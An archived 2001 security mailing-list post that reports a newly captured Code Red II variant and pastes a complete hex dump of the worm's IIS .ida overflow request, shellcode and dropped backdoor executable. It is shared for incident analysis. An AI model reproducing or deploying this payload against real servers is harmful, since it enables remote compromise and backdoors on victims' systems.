new codered variant

From: corecode (corecodeat_private)
Date: Sat Aug 04 2001 - 12:01:10 PDT
Next message: Antony Riley: "Re: new codered variant (very initial analysis)"
Previous message: Michael Katz: "Code Red variant only from 24.x.x.x?"
Next in thread: Antony Riley: "Re: new codered variant (very initial analysis)"
Reply: Antony Riley: "Re: new codered variant (very initial analysis)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
hey ppl!

i just checked my logs and found the following brandnew cr variant:

Sat Aug  4 15:02:20 2001 from: 217.80.204.155:4177 len: 3818 MD5: 
5edc2375e7aca69f8c1a8d77c4ffff18 (new)

it seems just to use the original shellcode. currently i am disassembling it.

this is the code coming in, attached is the same stuff as binary.

as we might discuss on this worm and this one contains the string 
"CodeRedII" and there is already a worm called CRv2 we need to use another 
name to distinguish between both.
As i am the first to post, i'll call it "iis.ida.root" (short: ida.root), 
because "root" appears some time in the code.

cheerz
   corecode


00000000  47 45 54 20 2f 64 65 66  61 75 6c 74 2e 69 64 61  |GET /default.ida|
00000010  3f 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |?XXXXXXXXXXXXXXX|
00000020  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
*
000000f0  58 25 75 39 30 39 30 25  75 36 38 35 38 25 75 63  |X%u9090%u6858%uc|
00000100  62 64 33 25 75 37 38 30  31 25 75 39 30 39 30 25  |bd3%u7801%u9090%|
00000110  75 36 38 35 38 25 75 63  62 64 33 25 75 37 38 30  |u6858%ucbd3%u780|
00000120  31 25 75 39 30 39 30 25  75 36 38 35 38 25 75 63  |1%u9090%u6858%uc|
00000130  62 64 33 25 75 37 38 30  31 25 75 39 30 39 30 25  |bd3%u7801%u9090%|
00000140  75 39 30 39 30 25 75 38  31 39 30 25 75 30 30 63  |u9090%u8190%u00c|
00000150  33 25 75 30 30 30 33 25  75 38 62 30 30 25 75 35  |3%u0003%u8b00%u5|
00000160  33 31 62 25 75 35 33 66  66 25 75 30 30 37 38 25  |31b%u53ff%u0078%|
00000170  75 30 30 30 30 25 75 30  30 3d 61 20 20 48 54 54  |u0000%u00=a  HTT|
00000180  50 2f 31 2e 30 0d 0a 43  6f 6e 74 65 6e 74 2d 74  |P/1.0..Content-t|
00000190  79 70 65 3a 20 74 65 78  74 2f 78 6d 6c 0a 43 6f  |ype: text/xml.Co|
000001a0  6e 74 65 6e 74 2d 6c 65  6e 67 74 68 3a 20 33 33  |ntent-length: 33|
000001b0  37 39 20 0d 0a 0d 0a c8  c8 01 00 60 e8 03 00 00  |79 ........`....|
000001c0  00 cc eb fe 64 67 ff 36  00 00 64 67 89 26 00 00  |....dg.6..dg.&..|
000001d0  e8 df 02 00 00 68 04 01  00 00 8d 85 5c fe ff ff  |.....h......\...|
000001e0  50 ff 55 9c 8d 85 5c fe  ff ff 50 ff 55 98 8b 40  |P.U...\...P.U..@|
000001f0  10 8b 08 89 8d 58 fe ff  ff ff 55 e4 3d 04 04 00  |.....X....U.=...|
00000200  00 0f 94 c1 3d 04 08 00  00 0f 94 c5 0a cd 0f b6  |....=...........|
00000210  c9 89 8d 54 fe ff ff 8b  75 08 81 7e 30 9a 02 00  |...T....u..~0...|
00000220  00 0f 84 c4 00 00 00 c7  46 30 9a 02 00 00 e8 0a  |........F0......|
00000230  00 00 00 43 6f 64 65 52  65 64 49 49 00 8b 1c 24  |...CodeRedII...$|
00000240  ff 55 d8 66 0b c0 0f 95  85 38 fe ff ff c7 85 50  |.U.f.....8.....P|
00000250  fe ff ff 01 00 00 00 6a  00 8d 85 50 fe ff ff 50  |.......j...P...P|
00000260  8d 85 38 fe ff ff 50 8b  45 08 ff 70 08 ff 90 84  |..8...P.E..p....|
00000270  00 00 00 80 bd 38 fe ff  ff 01 74 68 53 ff 55 d4  |.....8....thS.U.|
00000280  ff 55 ec 01 45 84 69 bd  54 fe ff ff 2c 01 00 00  |.U..E.i.T...,...|
00000290  81 c7 2c 01 00 00 e8 d2  04 00 00 f7 d0 0f af c7  |..,.............|
000002a0  89 46 34 8d 45 88 50 6a  00 ff 75 08 e8 05 00 00  |.F4.E.Pj..u.....|
000002b0  00 e9 01 ff ff ff 6a 00  6a 00 ff 55 f0 50 ff 55  |......j.j..U.P.U|
000002c0  d0 4f 75 d2 e8 3b 05 00  00 69 bd 54 fe ff ff 00  |.Ou..;...i.T....|
000002d0  5c 26 05 81 c7 00 5c 26  05 57 ff 55 e8 6a 00 6a  |\&....\&.W.U.j.j|
000002e0  16 ff 55 8c 6a ff ff 55  e8 eb f9 8b 46 34 29 45  |..U.j..U....F4)E|
000002f0  84 6a 64 ff 55 e8 8d 85  3c fe ff ff 50 ff 55 c0  |.jd.U...<...P.U.|
00000300  0f b7 85 3c fe ff ff 3d  d2 07 00 00 73 cf 0f b7  |...<...=....s...|
00000310  85 3e fe ff ff 83 f8 0a  73 c3 66 c7 85 70 ff ff  |.>......s.f..p..|
00000320  ff 02 00 66 c7 85 72 ff  ff ff 00 50 e8 64 04 00  |...f..r....P.d..|
00000330  00 89 9d 74 ff ff ff 6a  00 6a 01 6a 02 ff 55 b8  |...t...j.j.j..U.|
00000340  83 f8 ff 74 f2 89 45 80  6a 01 54 68 7e 66 04 80  |...t..E.j.Th~f..|
00000350  ff 75 80 ff 55 a4 59 6a  10 8d 85 70 ff ff ff 50  |.u..U.Yj...p...P|
00000360  ff 75 80 ff 55 b0 bb 01  00 00 00 0b c0 74 4b 33  |.u..U........tK3|
00000370  db ff 55 94 3d 33 27 00  00 75 3f c7 85 68 ff ff  |..U.=3'..u?..h..|
00000380  ff 0a 00 00 00 c7 85 6c  ff ff ff 00 00 00 00 c7  |.......l........|
00000390  85 60 ff ff ff 01 00 00  00 8b 45 80 89 85 64 ff  |.`........E...d.|
000003a0  ff ff 8d 85 68 ff ff ff  50 6a 00 8d 85 60 ff ff  |....h...Pj...`..|
000003b0  ff 50 6a 00 6a 01 ff 55  a0 93 6a 00 54 68 7e 66  |.Pj.j..U..j.Th~f|
000003c0  04 80 ff 75 80 ff 55 a4  59 83 fb 01 75 31 e8 00  |...u..U.Y...u1..|
000003d0  00 00 00 58 2d d3 03 00  00 6a 00 68 ea 0e 00 00  |...X-....j.h....|
000003e0  50 ff 75 80 ff 55 ac 3d  ea 0e 00 00 75 11 6a 00  |P.u..U.=....u.j.|
000003f0  6a 01 8d 85 5c fe ff ff  50 ff 75 80 ff 55 a8 ff  |j...\...P.u..U..|
00000400  75 80 ff 55 b4 e9 e7 fe  ff ff bb 00 00 df 77 81  |u..U..........w.|
00000410  c3 00 00 01 00 81 fb 00  00 00 78 75 05 bb 00 00  |..........xu....|
00000420  f0 bf 60 e8 0e 00 00 00  8b 64 24 08 64 67 8f 06  |..`......d$.dg..|
00000430  00 00 58 61 eb d9 64 67  ff 36 00 00 64 67 89 26  |..Xa..dg.6..dg.&|
00000440  00 00 66 81 3b 4d 5a 75  e3 8b 4b 3c 81 3c 0b 50  |..f.;MZu..K<.<.P|
00000450  45 00 00 75 d7 8b 54 0b  78 03 d3 8b 42 0c 81 3c  |E..u..T.x...B..<|
00000460  03 4b 45 52 4e 75 c5 81  7c 03 04 45 4c 33 32 75  |.KERNu..|..EL32u|
00000470  bb 33 c9 49 8b 72 20 03  f3 fc 41 ad 81 3c 03 47  |.3.I.r ...A..<.G|
00000480  65 74 50 75 f5 81 7c 03  04 72 6f 63 41 75 eb 03  |etPu..|..rocAu..|
00000490  4a 10 49 d1 e1 03 4a 24  0f b7 0c 0b c1 e1 02 03  |J.I...J$........|
000004a0  4a 1c 8b 04 0b 03 c3 89  44 24 24 64 67 8f 06 00  |J.......D$$dg...|
000004b0  00 58 61 c3 e8 51 ff ff  ff 89 5d fc 89 45 f8 e8  |.Xa..Q....]..E..|
000004c0  0d 00 00 00 4c 6f 61 64  4c 69 62 72 61 72 79 41  |....LoadLibraryA|
000004d0  00 ff 75 fc ff 55 f8 89  45 f4 e8 0d 00 00 00 43  |..u..U..E......C|
000004e0  72 65 61 74 65 54 68 72  65 61 64 00 ff 75 fc ff  |reateThread..u..|
000004f0  55 f8 89 45 f0 e8 0d 00  00 00 47 65 74 54 69 63  |U..E......GetTic|
00000500  6b 43 6f 75 6e 74 00 ff  75 fc ff 55 f8 89 45 ec  |kCount..u..U..E.|
00000510  e8 06 00 00 00 53 6c 65  65 70 00 ff 75 fc ff 55  |.....Sleep..u..U|
00000520  f8 89 45 e8 e8 17 00 00  00 47 65 74 53 79 73 74  |..E......GetSyst|
00000530  65 6d 44 65 66 61 75 6c  74 4c 61 6e 67 49 44 00  |emDefaultLangID.|
00000540  ff 75 fc ff 55 f8 89 45  e4 e8 14 00 00 00 47 65  |.u..U..E......Ge|
00000550  74 53 79 73 74 65 6d 44  69 72 65 63 74 6f 72 79  |tSystemDirectory|
00000560  41 00 ff 75 fc ff 55 f8  89 45 e0 e8 0a 00 00 00  |A..u..U..E......|
00000570  43 6f 70 79 46 69 6c 65  41 00 ff 75 fc ff 55 f8  |CopyFileA..u..U.|
00000580  89 45 dc e8 10 00 00 00  47 6c 6f 62 61 6c 46 69  |.E......GlobalFi|
00000590  6e 64 41 74 6f 6d 41 00  ff 75 fc ff 55 f8 89 45  |ndAtomA..u..U..E|
000005a0  d8 e8 0f 00 00 00 47 6c  6f 62 61 6c 41 64 64 41  |......GlobalAddA|
000005b0  74 6f 6d 41 00 ff 75 fc  ff 55 f8 89 45 d4 e8 0c  |tomA..u..U..E...|
000005c0  00 00 00 43 6c 6f 73 65  48 61 6e 64 6c 65 00 ff  |...CloseHandle..|
000005d0  75 fc ff 55 f8 89 45 d0  e8 08 00 00 00 5f 6c 63  |u..U..E......_lc|
000005e0  72 65 61 74 00 ff 75 fc  ff 55 f8 89 45 cc e8 08  |reat..u..U..E...|
000005f0  00 00 00 5f 6c 77 72 69  74 65 00 ff 75 fc ff 55  |..._lwrite..u..U|
00000600  f8 89 45 c8 e8 08 00 00  00 5f 6c 63 6c 6f 73 65  |..E......_lclose|
00000610  00 ff 75 fc ff 55 f8 89  45 c4 e8 0e 00 00 00 47  |..u..U..E......G|
00000620  65 74 53 79 73 74 65 6d  54 69 6d 65 00 ff 75 fc  |etSystemTime..u.|
00000630  ff 55 f8 89 45 c0 e8 0b  00 00 00 57 53 32 5f 33  |.U..E......WS2_3|
00000640  32 2e 44 4c 4c 00 ff 55  f4 89 45 bc e8 07 00 00  |2.DLL..U..E.....|
00000650  00 73 6f 63 6b 65 74 00  ff 75 bc ff 55 f8 89 45  |.socket..u..U..E|
00000660  b8 e8 0c 00 00 00 63 6c  6f 73 65 73 6f 63 6b 65  |......closesocke|
00000670  74 00 ff 75 bc ff 55 f8  89 45 b4 e8 0c 00 00 00  |t..u..U..E......|
00000680  69 6f 63 74 6c 73 6f 63  6b 65 74 00 ff 75 bc ff  |ioctlsocket..u..|
00000690  55 f8 89 45 a4 e8 08 00  00 00 63 6f 6e 6e 65 63  |U..E......connec|
000006a0  74 00 ff 75 bc ff 55 f8  89 45 b0 e8 07 00 00 00  |t..u..U..E......|
000006b0  73 65 6c 65 63 74 00 ff  75 bc ff 55 f8 89 45 a0  |select..u..U..E.|
000006c0  e8 05 00 00 00 73 65 6e  64 00 ff 75 bc ff 55 f8  |.....send..u..U.|
000006d0  89 45 ac e8 05 00 00 00  72 65 63 76 00 ff 75 bc  |.E......recv..u.|
000006e0  ff 55 f8 89 45 a8 e8 0c  00 00 00 67 65 74 68 6f  |.U..E......getho|
000006f0  73 74 6e 61 6d 65 00 ff  75 bc ff 55 f8 89 45 9c  |stname..u..U..E.|
00000700  e8 0e 00 00 00 67 65 74  68 6f 73 74 62 79 6e 61  |.....gethostbyna|
00000710  6d 65 00 ff 75 bc ff 55  f8 89 45 98 e8 10 00 00  |me..u..U..E.....|
00000720  00 57 53 41 47 65 74 4c  61 73 74 45 72 72 6f 72  |.WSAGetLastError|
00000730  00 ff 75 bc ff 55 f8 89  45 94 e8 0b 00 00 00 55  |..u..U..E......U|
00000740  53 45 52 33 32 2e 44 4c  4c 00 ff 55 f4 89 45 90  |SER32.DLL..U..E.|
00000750  e8 0e 00 00 00 45 78 69  74 57 69 6e 64 6f 77 73  |.....ExitWindows|
00000760  45 78 00 ff 75 90 ff 55  f8 89 45 8c c3 8b 45 84  |Ex..u..U..E...E.|
00000770  69 c0 05 84 08 08 40 89  45 84 8d 84 04 78 56 34  |i.....@.E....xV4|
00000780  12 f7 d8 c1 c0 08 c3 e8  e1 ff ff ff 3c 00 74 f7  |............<.t.|
00000790  3c ff 74 f3 c3 e8 ed ff  ff ff 8a f8 e8 e6 ff ff  |<.t.............|
000007a0  ff 8a d8 c1 e3 10 e8 dc  ff ff ff 8a f8 e8 d5 ff  |................|
000007b0  ff ff 8a d8 e8 b4 ff ff  ff 83 e0 07 e8 20 00 00  |............. ..|
000007c0  00 ff ff ff ff 00 ff ff  ff 00 ff ff ff 00 ff ff  |................|
000007d0  ff 00 ff ff ff 00 00 ff  ff 00 00 ff ff 00 00 ff  |................|
000007e0  ff 59 8b 04 81 23 d8 f7  d0 23 85 58 fe ff ff 0b  |.Y...#...#.X....|
000007f0  d8 80 fb 7f 74 9f 80 fb  e0 74 9a 3b 9d 58 fe ff  |....t....t.;.X..|
00000800  ff 74 92 c3 68 04 01 00  00 8d 85 5c fe ff ff 50  |.t..h......\...P|
00000810  ff 55 e0 8d bc 05 5c fe  ff ff e8 09 00 00 00 5c  |.U....\........\|
00000820  43 4d 44 2e 45 58 45 00  5e fc a5 a5 a4 b3 63 6a  |CMD.EXE.^.....cj|
00000830  01 e8 1c 00 00 00 64 3a  5c 69 6e 65 74 70 75 62  |......d:\inetpub|
00000840  5c 73 63 72 69 70 74 73  5c 72 6f 6f 74 2e 65 78  |\scripts\root.ex|
00000850  65 00 8b 0c 24 88 19 8d  85 5c fe ff ff 50 ff 55  |e...$....\...P.U|
00000860  dc 6a 01 e8 2b 00 00 00  64 3a 5c 70 72 6f 67 72  |.j..+...d:\progr|
00000870  61 7e 31 5c 63 6f 6d 6d  6f 6e 7e 31 5c 73 79 73  |a~1\common~1\sys|
00000880  74 65 6d 5c 4d 53 41 44  43 5c 72 6f 6f 74 2e 65  |tem\MSADC\root.e|
00000890  78 65 00 8b 0c 24 88 19  8d 85 5c fe ff ff 50 ff  |xe...$....\...P.|
000008a0  55 dc e8 ba 05 00 00 fc  4d 5a 50 00 02 00 00 00  |U.......MZP.....|
000008b0  04 00 0f 00 ff ff 00 00  b8 00 00 00 00 00 00 00  |................|
000008c0  40 00 1a fc 00 00 01 fc  fc fc fc fc fc 00 00 50  |@..............P|
000008d0  45 00 00 4c 01 03 00 fd  2a 25 29 00 00 00 00 00  |E..L....*%).....|
000008e0  00 00 00 e0 00 8f 81 0b  01 02 19 00 04 00 00 00  |................|
000008f0  08 00 00 00 00 00 00 00  10 00 00 00 10 00 00 00  |................|
00000900  20 00 00 00 00 40 00 00  10 00 00 00 04 00 00 01  | ....@..........|
00000910  00 00 00 00 00 00 00 03  00 0a 00 00 00 00 00 00  |................|
00000920  40 00 00 00 04 00 00 00  00 00 00 02 00 00 00 00  |@...............|
00000930  00 10 00 00 20 00 00 00  00 10 00 00 10 00 00 00  |.... ...........|
00000940  00 00 00 10 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000950  30 00 00 0c 01 fc fc fc  00 00 00 00 00 00 00 00  |0...............|
00000960  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000970  00 00 00 10 00 00 00 10  00 00 00 04 00 00 00 08  |................|
00000980  00 00 00 00 00 00 00 00  00 00 00 00 00 00 20 00  |.............. .|
00000990  00 60 00 00 00 00 00 00  00 00 00 10 00 00 00 20  |.`............. |
000009a0  00 00 00 04 00 00 00 0c  00 00 00 00 00 00 00 00  |................|
000009b0  00 00 00 00 00 00 40 00  00 c0 00 00 00 00 00 00  |......@.........|
000009c0  00 00 00 10 00 00 00 30  00 00 00 04 00 00 00 10  |.......0........|
000009d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 40 00  |..............@.|
000009e0  00 c0 fc fc fc fc fc fc  fc fc fc fc fc fc fc fc  |................|
000009f0  fc fc fc fc fc fc fc fc  fc fc fc fc fc fc fc fc  |................|
00000a00  fc fc fc fc fc fc fc fc  fc fc fc fc fc fc 00 00  |................|
00000a10  00 00 00 00 00 00 00 00  00 00 00 00 00 00 68 04  |..............h.|
00000a20  01 00 00 68 d0 20 40 00  e8 61 01 00 00 8d b8 d0  |...h. @..a......|
00000a30  20 40 00 be 00 20 40 00  a5 a5 a5 a5 6a 01 68 d0  | @... @.....j.h.|
00000a40  20 40 00 e8 4c 01 00 00  e8 0c 00 00 00 68 c0 27  | @..L........h.'|
00000a50  09 00 e8 31 01 00 00 eb  ef 68 d8 24 40 00 68 3f  |...1.....h.$@.h?|
00000a60  00 0f 00 6a 00 68 10 20  40 00 68 02 00 00 80 e8  |...j.h. @.h.....|
00000a70  32 01 00 00 0b c0 75 26  6a 04 68 54 20 40 00 6a  |2.....u&j.hT @.j|
00000a80  04 6a 00 68 48 20 40 00  ff 35 d8 24 40 00 e8 0d  |.j.hH @..5.$@...|
00000a90  01 00 00 ff 35 d8 24 40  00 e8 0e 01 00 00 68 d8  |....5.$@......h.|
00000aa0  24 40 00 68 3f 00 0f 00  6a 00 68 58 20 40 00 68  |$@.h?...j.hX @.h|
00000ab0  02 00 00 80 e8 ed 00 00  00 0b c0 75 55 bd 9c 20  |...........uU.. |
00000ac0  40 00 e8 4c 00 00 00 bd  a8 20 40 00 e8 42 00 00  |@..L..... @..B..|
00000ad0  00 6a 09 68 b8 20 40 00  6a 01 6a 00 68 b0 20 40  |.j.h. @.j.j.h. @|
00000ae0  00 ff 35 d8 24 40 00 e8  b4 00 00 00 6a 09 68 c4  |..5.$@......j.h.|
00000af0  20 40 00 6a 01 6a 00 68  b4 20 40 00 ff 35 d8 24  | @.j.j.h. @..5.$|
00000b00  40 00 e8 99 00 00 00 ff  35 d8 24 40 00 e8 9a 00  |@.......5.$@....|
00000b10  00 00 c3 c7 05 d0 24 40  00 00 04 00 00 68 d0 24  |......$@.....h.$|
00000b20  40 00 68 d0 20 40 00 68  d4 24 40 00 6a 00 55 ff  |@.h. @.h.$@.j.U.|
00000b30  35 d8 24 40 00 e8 60 00  00 00 0b c0 75 49 a1 d0  |5.$@..`.....uI..|
00000b40  24 40 00 0b c0 74 40 be  d0 20 40 00 80 3e 00 74  |$@...t@.. @..>.t|
00000b50  36 46 66 81 7e fe 2c 2c  75 f2 c7 06 32 31 37 00  |6Ff.~.,,u...217.|
00000b60  81 ee cc 20 40 00 89 35  d0 24 40 00 ff 35 d0 24  |... @..5.$@..5.$|
00000b70  40 00 68 d0 20 40 00 6a  01 6a 00 55 ff 35 d8 24  |@.h. @.j.j.U.5.$|
00000b80  40 00 e8 19 00 00 00 c3  ff 25 60 30 40 00 ff 25  |@........%`0@..%|
00000b90  64 30 40 00 ff 25 68 30  40 00 ff 25 70 30 40 00  |d0@..%h0@..%p0@.|
00000ba0  ff 25 74 30 40 00 ff 25  78 30 40 00 ff 25 7c 30  |.%t0@..%x0@..%|0|
00000bb0  40 fc fc fc fc fc fc fc  fc fc fc fc fc fc fc fc  |@...............|
00000bc0  fc fc fc fc 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000bd0  00 5c 45 58 50 4c 4f 52  45 52 2e 45 58 45 00 00  |.\EXPLORER.EXE..|
00000be0  00 53 4f 46 54 57 41 52  45 5c 4d 69 63 72 6f 73  |.SOFTWARE\Micros|
00000bf0  6f 66 74 5c 57 69 6e 64  6f 77 73 20 4e 54 5c 43  |oft\Windows NT\C|
00000c00  75 72 72 65 6e 74 56 65  72 73 69 6f 6e 5c 57 69  |urrentVersion\Wi|
00000c10  6e 6c 6f 67 6f 6e 00 00  00 53 46 43 44 69 73 61  |nlogon...SFCDisa|
00000c20  62 6c 65 00 00 9d ff ff  ff 53 59 53 54 45 4d 5c  |ble......SYSTEM\|
00000c30  43 75 72 72 65 6e 74 43  6f 6e 74 72 6f 6c 53 65  |CurrentControlSe|
00000c40  74 5c 53 65 72 76 69 63  65 73 5c 57 33 53 56 43  |t\Services\W3SVC|
00000c50  5c 50 61 72 61 6d 65 74  65 72 73 5c 56 69 72 74  |\Parameters\Virt|
00000c60  75 61 6c 20 52 6f 6f 74  73 00 00 00 00 2f 53 63  |ual Roots..../Sc|
00000c70  72 69 70 74 73 00 00 00  00 2f 4d 53 41 44 43 00  |ripts..../MSADC.|
00000c80  00 2f 43 00 00 2f 44 00  00 63 3a 5c 2c 2c 32 31  |./C../D..c:\,,21|
00000c90  37 00 00 00 00 64 3a 5c  2c 2c 32 31 37 fc fc fc  |7....d:\,,217...|
00000ca0  fc fc fc fc fc fc fc fc  fc fc fc fc fc fc fc fc  |................|
00000cb0  fc fc fc fc fc fc 00 00  00 00 00 00 00 00 00 00  |................|
00000cc0  00 00 00 00 00 00 00 00  00 00 3c 30 00 00 00 00  |..........<0....|
00000cd0  00 00 00 00 00 00 84 30  00 00 60 30 00 00 4c 30  |.......0..`0..L0|
00000ce0  00 00 00 00 00 00 00 00  00 00 91 30 00 00 70 30  |...........0..p0|
00000cf0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000d00  00 00 00 00 00 00 9e 30  00 00 a6 30 00 00 be 30  |.......0...0...0|
00000d10  00 00 00 00 00 00 c8 30  00 00 dc 30 00 00 ee 30  |.......0...0...0|
00000d20  00 00 fe 30 00 00 00 00  00 00 9e 30 00 00 a6 30  |...0.......0...0|
00000d30  00 00 be 30 00 00 00 00  00 00 c8 30 00 00 dc 30  |...0.......0...0|
00000d40  00 00 ee 30 00 00 fe 30  00 00 00 00 00 00 4b 45  |...0...0......KE|
00000d50  52 4e 45 4c 33 32 2e 64  6c 6c 00 41 44 56 41 50  |RNEL32.dll.ADVAP|
00000d60  49 33 32 2e 64 6c 6c 00  00 00 53 6c 65 65 70 00  |I32.dll...Sleep.|
00000d70  00 00 47 65 74 57 69 6e  64 6f 77 73 44 69 72 65  |..GetWindowsDire|
00000d80  63 74 6f 72 79 41 00 00  00 00 57 69 6e 45 78 65  |ctoryA....WinExe|
00000d90  63 00 00 00 52 65 67 51  75 65 72 79 56 61 6c 75  |c...RegQueryValu|
00000da0  65 45 78 41 00 00 00 00  52 65 67 53 65 74 56 61  |eExA....RegSetVa|
00000db0  6c 75 65 45 78 41 00 00  00 00 52 65 67 4f 70 65  |lueExA....RegOpe|
00000dc0  6e 4b 65 79 45 78 41 00  00 00 52 65 67 43 6c 6f  |nKeyExA...RegClo|
00000dd0  73 65 4b 65 79 fc fc fc  fc fc fc fc fc fc fc fc  |seKey...........|
00000de0  fc fc fc fc fc fc fc fc  fc fc fc fc fc fc fc fc  |................|
*
00000e40  fc fc fc fc fc fc fc fc  fc fc fc fc 00 00 00 00  |................|
00000e50  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000e60  00 5e bf b9 05 00 00 6a  07 e8 10 00 00 00 64 3a  |.^.....j......d:|
00000e70  5c 65 78 70 6c 6f 72 65  72 2e 65 78 65 00 8b 04  |\explorer.exe...|
00000e80  24 88 18 ff 55 cc 83 f8  ff 74 4d 89 85 4c fe ff  |$...U....tM..L..|
00000e90  ff ac 8a f8 38 3e 75 27  6a 20 e8 23 00 00 00 00  |....8>u'j .#....|
00000ea0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000eb0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 6a  |...............j|
00000ec0  01 56 ff b5 4c fe ff ff  ff 55 c8 46 4f 75 c5 ff  |.V..L....U.FOu..|
00000ed0  b5 4c fe ff ff ff 55 c4  fe c3 80 fb 64 0f 86 4c  |.L....U.....d..L|
00000ee0  f9 ff ff c3 61 c9 c2 04  00 90                    |....a.....|
00000eea
application/octet-stream attachment: crvII.bin
---------------------------------------------------------------------------- This list is provided by the SecurityFocus ARIS analyzer service. For more information on this free incident handling, management and tracking system please see: http://aris.securityfocus.com
Next message: Antony Riley: "Re: new codered variant (very initial analysis)"
Previous message: Michael Katz: "Code Red variant only from 24.x.x.x?"
Next in thread: Antony Riley: "Re: new codered variant (very initial analysis)"
Reply: Antony Riley: "Re: new codered variant (very initial analysis)"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
This archive was generated by hypermail 2b30 : Sat Aug 04 2001 - 19:51:18 PDT